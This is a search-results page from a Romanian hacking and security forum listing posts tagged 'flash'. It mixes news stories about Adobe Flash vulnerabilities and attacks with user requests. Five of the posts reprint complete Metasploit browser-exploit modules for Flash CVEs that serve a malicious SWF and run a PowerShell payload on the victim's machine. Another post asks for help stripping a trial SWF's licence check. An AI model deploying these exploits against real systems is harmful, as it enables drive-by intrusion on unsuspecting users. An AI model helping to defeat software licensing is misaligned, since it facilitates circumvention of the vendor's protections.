Jump to content

Search the Community

Showing results for tags 'flash'.



More search options

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges
    • Bug Bounty
    • Programare
    • Reverse engineering & exploit development
    • Mobile phones
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Sugestii
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Categories

There are no results to display.

There are no results to display.

Blogs

There are no results to display.

There are no results to display.


Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

Found 21 results

  1. Salutare oameni buni am telefon Allview a5 ready si am nevoie de un backup stock rom pentru a-mi reface telefonul cu sp flashtool cine are acest telefon va rog sa ma ajutati cu un link de download.Ajutati-ma sa imi refac telefonul...VA ROG.
  2. Caut: specialist in Flash Builder si Collaboration Builder SDK Pentru: creare pod Adobe (exemple: Adobe Connect '|' Apps) Ofer: onorariu (negociabil) + licenta Flash Builder 4.7 Premium pana la terminarea proiectului Daca esti interesat, lasa-mi un pm. Rog amatorii si time-wasters sa se abtina. Danke
  3. AMD

    Load flash in php

    Vreau sa rulez un player flash din php. Link-ul pe care il apelez in browser merge, dar daca il import in php nu imi mai ia parametri pe care ii dau fisierului flash. Link-ul care player: https://www.clipurivideo.net/vechi/player.swf?file=https://www.clipurivideo.net/media/b5ffd74fe774483c1cb15272c83156d6.mp4 Continutul fisierului php: header("Content-Type: application/x-shockwave-flash"); $file_real = 'https://www.clipurivideo.net/vechi/player.swf?file=https://www.clipurivideo.net/media/b5ffd74fe774483c1cb15272c83156d6.mp4'; $stream = fopen($file_real, 'rb'); fpassthru($stream);
  4. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player domainMemory ByteArray Use After Free', 'Description' => %q{ This module exploits a use-after-free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, when forcing a reallocation by copying more contents than the original capacity, but Flash forgets to update the domainMemory pointer, leading to a use-after-free situation when the main worker references the domainMemory again. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 17.0.0.134. }, 'License' => MSF_LICENSE, 'Author' => [ 'bilou', # Vulnerability discovery according to Flash Advisory 'Unknown', # Exploit in the wild 'hdarwin', # @hdarwin89 / public exploit (msf module is based on this one) 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-0359'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/angler_ek_exploiting.html'], ['URL', 'http://malware.dontneedcoffee.com/2015/04/cve-2015-0359-flash-up-to-1700134-and.html'], ['URL', 'https://git.hacklab.kr/snippets/13'], ['URL', 'http://pastebin.com/Wj3NViUu'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.134') }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Apr 14 2014', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0359', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end Source
  5. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player NetConnection Type Confusion', 'Description' => %q{ This module exploits a type confusion vulnerability in the NetConnection class on Adobe Flash Player. When using a correct memory layout this vulnerability allows to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like vectors, and finally accomplish remote code execution. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305. }, 'License' => MSF_LICENSE, 'Author' => [ 'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit 'Unknown', # Exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-0336'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'], ['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'], ['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'], ['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Mar 12 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf @trigger = create_trigger super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) trigger_hex_stream = @trigger.unpack('H*')[0] html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end def create_trigger path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end Source
  6. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player copyPixelsToByteArray Integer Overflow', 'Description' => %q{ This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs in the copyPixelsToByteArray method from the BitmapData object. The position field of the destination ByteArray can be used to cause an integer overflow and write contents out of the ByteArray buffer. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145 and 14.0.0.125. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Evans', # Vulnerability discovery and 64 bit analysis / exploit 'Nicolas Joly', # Trigger for 32 bit, according to the project zero ticket 'hdarwin', # @hdarwin89, 32 bit public exploit, this msf module uses it 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2014-0556'], ['URL', 'http://googleprojectzero.blogspot.com/2014/09/exploiting-cve-2014-0556-in-flash.html'], ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=46'], ['URL', 'http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/'], ['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0556-adobe-flash-player.html'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-21.html'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.176') }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Sep 23 2014', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0556', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end Source
  7. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory', 'Description' => %q{ This module exploits an unintialized memory vulnerability in Adobe Flash Player. The vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, which fails to initialize allocated memory. When using a correct memory layout this vulnerability leads to a ByteArray object corruption, which can be abused to access and corrupt memory. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 15.0.0.189. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Joly', # Vulnerability discovery 'Unknown', # Exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2014-8440'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-24.html'], ['URL', 'http://malware.dontneedcoffee.com/2014/11/cve-2014-8440.html'], ['URL', 'http://www.verisigninc.com/en_US/cyber-security/security-intelligence/vulnerability-reports/articles/index.xhtml?id=1081'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^15\./ && ver <= '15.0.0.189' }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Nov 11 2014', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-8440', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end Source
  8. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player ByteArray With Workers Use After Free', 'Description' => %q{ This module exploits an use after free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, who can fill the memory and notify the main thread to corrupt the new contents. This module has been tested successfully on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery and exploit in the wild 'hdarwin', # Public exploit by @hdarwin89 (all the magic) 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-0313'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-02.html'], ['URL', 'http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^16\./ && ver == '16.0.0.296' }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Feb 02 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0313', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end Source
  9. Source: https://github.com/SecurityObscurity/cve-2015-0313 PoC: http://www.exploit-db.com/sploits/36491.zip Adobe Flash vulnerability source code (cve-2015-0313) from Angler Exploit Kit Reference: Trend Micro Discovers New Adobe Flash Zero-Day Exploit Used in Malvertisements Malware don't need Coffee: CVE-2015-0313 (Flash up to 16.0.0.296) and Exploit Kits https://helpx.adobe.com/security/products/flash-player/apsa15-02.html Source: http://www.exploit-db.com/exploits/36491/
  10. A four year old Adobe Flash patch did not properly resolve a vulnerable Flex application, and attackers can exploit the bug, which is said to affect some 30 percent of Alexa’s top 10 most popular sites in the world. LinkedIn security researcher Luca Carettoni and Mauro Gentile, a security consultant at Minded Security, presented their findings showing that Shockwave Flash files compiled by the vulnerable Flex software developers kit remain exploitable in fully updated Web browsers and Flash plugins. The researchers released partial details for the vulnerability along with mitigation information. They plan to release the full details of the bug and some proof-of-concept exploit in the near future, once they are confident there is a better understanding of the bug within the general public. Carettoni and Gentile have already informed the maintainers of popular websites affected by the vulnerability, and Adobe. If properly exploited, the bug could allow an attacker to steal information from affected systems through a same origin request forgery and even perform actions on behalf of users running vulnerable versions by performing cross-site forgery requests. In either case, the attackers would have to compel their victims to visit a maliciously crafted Web page. Practically speaking, it is possible to force the affected Flash movies to perform Same-Origin requests and return the responses back to the attacker In other words, the researchers say, hosting vulnerable SWF files leads to an “indirect” Same-Origin-Policy bypass in fully patched web browsers and plugins. “Practically speaking, it is possible to force the affected Flash movies to perform Same-Origin requests and return the responses back to the attacker,” the pair of researchers said in a blog post. “Since HTTP requests contain cookies and are issued from the victim’s domain, HTTP responses may contain private information including anti-CSRF tokens and user’s data.” Potential mitigations include recompiling Flex SDKs along with their static libraries, patching with the official Adobe patch tool and simply deleting them if they are not used. You can find Carettoni and Gentile‘s analysis on their respective sites, though these are reposts, so both reports contain the same content. Their slide’s are embedded below: Source
  11. Dau moca acest web template cu sursa flash, psd, tot inclus 29119 template preview Animatie: HTML plus Flash Width: 1680px (Valoare de cumparat de pe site: 63 usd) Cerinta: minim 500 post-uri RST sau contributie buna la comunitatea RST.
  12. Adobe this afternoon pushed out a Flash Player update patching 11 critical security vulnerabilities, most of which lead to remote code execution. None are being publicly exploited, Adobe said. Versions 16.0.0.305 and earlier of the Flash Player Desktop and Flash Player for Google Chrome are affected on Windows and Mac OS X machines, as is Flash Player for Internet Explorer 10 and 11 on Windows 8 and 8.1 computers. Flash Player 11.2.202.442 for Linux and Flash Player Extended Support Release 13.0.0.269 for Windows and Mac OS X are also affected. The updated Flash Player includes patches for four memory corruption vulnerabilities, three of which reported by Google’s Project Zero, that lead to remote code execution. Two other type-confusion vulnerabilities, two use-after free vulnerabilities and an integer-overflow vulnerability were also patched; all could have resulted in remote code execution as well, Adobe said. The update also patches a cross-domain policy bypass vulnerability and a file-upload restriction bypass vulnerability. Today’s Adobe patches come on the heels of a busy week for IT administrators following Microsoft’s security bulletin rollout on Tuesday. Microsoft released 14 bulletins, five of them critical, and included patches for the FREAK vulnerability and a new fix for some unresolved issues left behind by the Stuxnet patch of 2010. Source
  13. Attackers are using Flash exploits and foisting ransomware through real time advertising bidding networks, FireEye researchers say. The attacks link to malicious or compromised advertising sites which participate in real time bidding systems in which ad inventory is sold to and by publishers. More than 1700 malicious advertising requests have been detected that led to malicious .swf Flash files being downloaded over hundreds of unnamed sites. "We believe this activity is part of an active malvertising operation," FireEye Labs researchers say in an advisory. "These ads can come from ad servers that are part of a legitimate ad network or rogue ad servers controlled by attackers." The attacks target a vulnerability (CVE-2014-0569) patched October last year affecting Adobe Flash and Air which was integrated quickly into exploit kits including the popular Angler. Damage to victims varied; FireEye bods say attackers foisted both the dangerous Cryptowall ransomware and what appear to be benign Windows files. Two .swf files are loaded and load the exploit then throw up an unrelated advertisement which varied across attacks. Researchers probing deeper discovered the studied advertising sites used a tool dubbed 'F**k AdBlock' designed to detect 'nasty' ad blockers across popular web browsers. URLs involved in the advertising network revealed the bid pricing, impressions, and information on operating systems and web browsers. Malvertising is a popular method for infecting web users. Last month some 1800 subdomains linked to GoDaddy accounts were found spreading the Angler exploit kit using a then Flash zero day exploit in a surreptitious malvertising campaign. Source
  14. Open source SWF player promises alternative to Adobe's endless security horror In November 2012 the Mozilla Foundation announced “Project Shumway”, an effort to create a “web-native runtime implementation of the SWF file format.” Two-and-a-bit years, and a colossal number of Flash bugs later, Shumway has achieved an important milestone by appearing in a Firefox nightly, a step that suggests it's getting closer to inclusion in the browser. Shumway's been available as a plugin for some time, and appears entirely capable of handling the SWF files. Few average users know of Shumway's existence, never mind seek it out. So the inclusion of the software in Firefox's nightlies will give it greater exposure. For now the code can only play certain videos hosted on Amazon.com, but developers intend to expand the list of sites from which Shumway will play SWF files. For now, Shumway-in-Firefox-nightlies works only on Windows Vista or later versions of Windows, and OSX. But expanded support is promised. When it arrives in a full version of Firefox, it will mean that about 15.1 per cent of all web surfing won't need Flash (based on W3counter market share data). Flash is a security nightmare that we recently suggested deserves to rot in an unmarked grave. Mozilla looks to be giving it a welcome shove in just that direction. Source
  15. - Am un fisier .swf (click aici) care functioneaza ca "pod" in Adobe Connect. - Poate fi decompilat cu JPEXS daca e necesar sau orice alte utilitati necesare - Mi-a expirat trial-ul insa vreau sa functioneze in continuare - Caut persoana care sa a) opreasca comunicarea dintre fisier si serverele celor ce l-au creat si sa il modifice incat sa functioneze nelimitat Plata: negociabil, PayPal sau BTC (legal, nu vrajeli)
  16. A Chinese APT group was able to chain together two zero day vulnerabilities, one against Adobe’s Flash Player and one against Microsoft’s Internet Explorer 9, to compromise a popular news site late last year. The group’s aim was to gain access to computers at several U.S. defense and financial firms by setting up a watering hole attack on the site that would go on to drop a malicious .DLL. Researchers with Invincea and iSIGHT Partners worked in tandem to dig up information about the group, which was able to compromise a part of Forbes.com’s website that appears to users before they’re ported over to articles they’ve clicked on. That portion of the site, Forbes.com’s Thought of the Day, is powered by a Flash widget. According to researchers with Invincea the group was able to use a zero day vulnerability to hijack that widget for a short period, from Nov. 28 to Dec. 1. Over the course of those four days, the group targeted visitors to the site who worked at a handful of unnamed U.S. defense and financial firms. Researchers with iSIGHT discovered that in addition to the Flash flaw, the attackers also exploited an Internet Explorer vulnerability, a zero day that helped attackers bypass Address Space Layout Randomization (ASLR) in IE 9. While the Adobe bug, a buffer overflow (CVE-2014-9163) was patched back on Dec. 9, the ASLR mitigation bypass (CVE-2015-0071) was one of many patched yesterday in Microsoft’s monthly Patch Tuesday round of patches, an update that was especially heavy on Internet Explorer fixes. In a technical writeup of the attack yesterday, Invincea explained how Forbes’ site was able to redirect to an IP address, load the Flash exploit, and drop a DLL, hrn.dll, to be loaded into the machine’s memory. “Once in memory, the exploit gains administrative privileges and opens a command prompt,” Invincea’s executive summary reads, “Next the victim system was scanned to report on its current patch levels, network mapping, and complete IP configuration, including any VPN connections.” Both firms agreed to set their disclosures for yesterday to coincide with Microsoft’s patching of the Internet Explorer bug. While Chinese APT groups have been in the news lately – some reports have already pinned last week’s Anthem breach on shadowy hackers from the PRC – several firms are already familiar with the APT group behind this campaign. FireEye, first published research on the group back in 2013, referring to the collective as the Sunshop Group. Researchers there caught the group carrying out a campaign that hit a series of victims – a science and technology journal, a website for evangelical students, etc. – by exploiting an IE zero day and several Java bugs in May of that year. Throughout its research, dating back to 2010, iSIGHT has taken to calling the group Codoso Team. This attack, like others its linked back to them, used similar malware (Derusbi) and called on a command and control (C+C) domain its been seen using in the past as well. Regardless of what it goes by, the group has been seen targeting U.S. government entities, the military/defense sector, and financial services groups for at least five years running. FireEye found the same group was also responsible for hacking the Nobel Peace Prize Committee website in 2010. That attack also used a watering hole and made use of a browser (Firefox) zero day. While neither iSIGHT or Invincea could give concrete numbers regarding the number of victims Codoso was able to compromise with this campaign, both were firm in their stance that the attacks were highly targeted in nature and only visitors who worked at the defense and financial firms were infected. Sursa
  17. Talk about determination. Hackers strung together zero-day vulnerabilities in Flash and Internet Explorer and then compromised Forbes.com so that the attacks would compromise financial services and defense contractor employees visiting the site, researchers said. The November breach of Forbes compromised the Thought of the Day page that is displayed briefly upon visiting the site. The page downloaded attack code exploiting a vulnerability in what then was a fully updated version of Adobe Flash. To bypass Address Space Layout Randomization—a mechanism built into Flash and many other applications to make drive-by attacks harder—the Forbes page downloaded a second attack. The latter attack exploited a then-zero-day vulnerability in IE that allowed the Flash exploit to successfully pierce the exploit mitigation defense. From start to finish, the attack took about seven seconds. "In the world of cyber threats, the chained 0-day exploit is a unicorn—the best known attack with chained 0-days was the Stuxnet attack allegedly perpetrated by US and Israeli intelligence agencies against Iran's nuclear enrichment plant at Natanz as part of an operation known as Olympic Games," a blog post detailing the attack explained. "Given the highly trafficked Forbes.com website, the exploit could have been used to infect massive numbers of visitors." Instead, only visitors from US Defense and financial services firms were hacked. Adobe patched the Flash vulnerability, designated as CVE-2014-9163, in early November. Microsoft fixed CVE-2015-0071 on Tuesday. The Forbes.com compromise is believed to have started in late November and lasted for a few days. The incident, which was uncovered by researchers from security firms Invincea and iSIGHT Partners, underscores the ingenuity and determination of today's hackers. Any one of the key ingredients of the hack—the Flash bug, the IE flaw, or the compromise of Forbes.com—wasn't enough to penetrate the defenses of defense contractors or financial services firms. But by stringing them together, the attackers were able to achieve their goals. It also helps explain why even minor software flaws that don't by themselves allow for remote code execution—for instance an escalation of privilege bug or a disclosure flaw—nonetheless pose a significant threat to end users. Source
  18. Oh, Adobe Flash. I knew you well, starting from when you were known as Macromedia Flash in the late 1990s. The dynamic web content you provided me was amazing. Streaming video over 56k would’ve been a major test of my patience, hence YouTube didn’t launch until 2005. But the games… Oh, the games! They were fun. Wait fifteen minutes to download, then five minutes of amusement could be had before it got tiring. Webmasters loved the razzle dazzle of Flash applets even more than JavaScript applets for tacky animated menus and the like. Back when websites had “Best viewed with Netscape,” or “Best viewed with Internet Explorer” icons on their home pages, some web developers really enjoyed one upping each other in needless Flashiness. “Look ma, this ain’t GeoCities no more!” As web developers started to emphasize function over gimmickry, they started to focus their energy on interesting and useful web apps and streaming video as opposed to taking the sentiment behind the old HTML <blink> tag way too far. With Flash, the possibilities seemed endless. If you could make a very good SWF applet, people really appreciated it, especially once most people had Flash plugins in their web browsers. And of course, Flash was necessary for YouTube. YouTube launched the same year Adobe bought Macromedia, 2005. YouTube was such a phenomenon that Google had the good sense to buy it a year later. Adobe is good at developing creative tools, however proprietary they are. What they’re not good at is security. No bloody way! Security bugs are inevitable in all applications from developers both big and small. But, they’re way more common in Adobe Acrobat and Adobe Flash than is typical for similar applications. One of the things I habitually do in my security hardening routine for both personal and professional client PCs is uninstall Acrobat, and replace it with another PDF viewer, such as Foxit Reader, when the machine I’m working on runs Windows. Even though the end user doesn’t realize that I’ve given them a more secure application to open PDFs in, they always appreciate how their new application patches without popups, and gives them a better designed GUI, better in-browser functionality, and an overall better user experience. I’m really happy to be able to say that now I can do the same thing to Flash as I do to Acrobat. Except, I don’t have to install another application to replace it. All I’ve got to ask an end user is, “do you ever go to YouTube?” They’ve always said yes. The really computer illiterate end users don’t know what Flash is, nor do they know that they sometimes view YouTube videos as an embedded applet on a webpage that’s not hosted at youtube.com. Asking them if they enjoy other websites that use Flash is an exercise in futility. “Huh? Do I use Google or Foxfire?” (Why oh why do they call Firefox “Foxfire?” Explaining to them the difference between the Google search engine and the Google Chrome web browser has 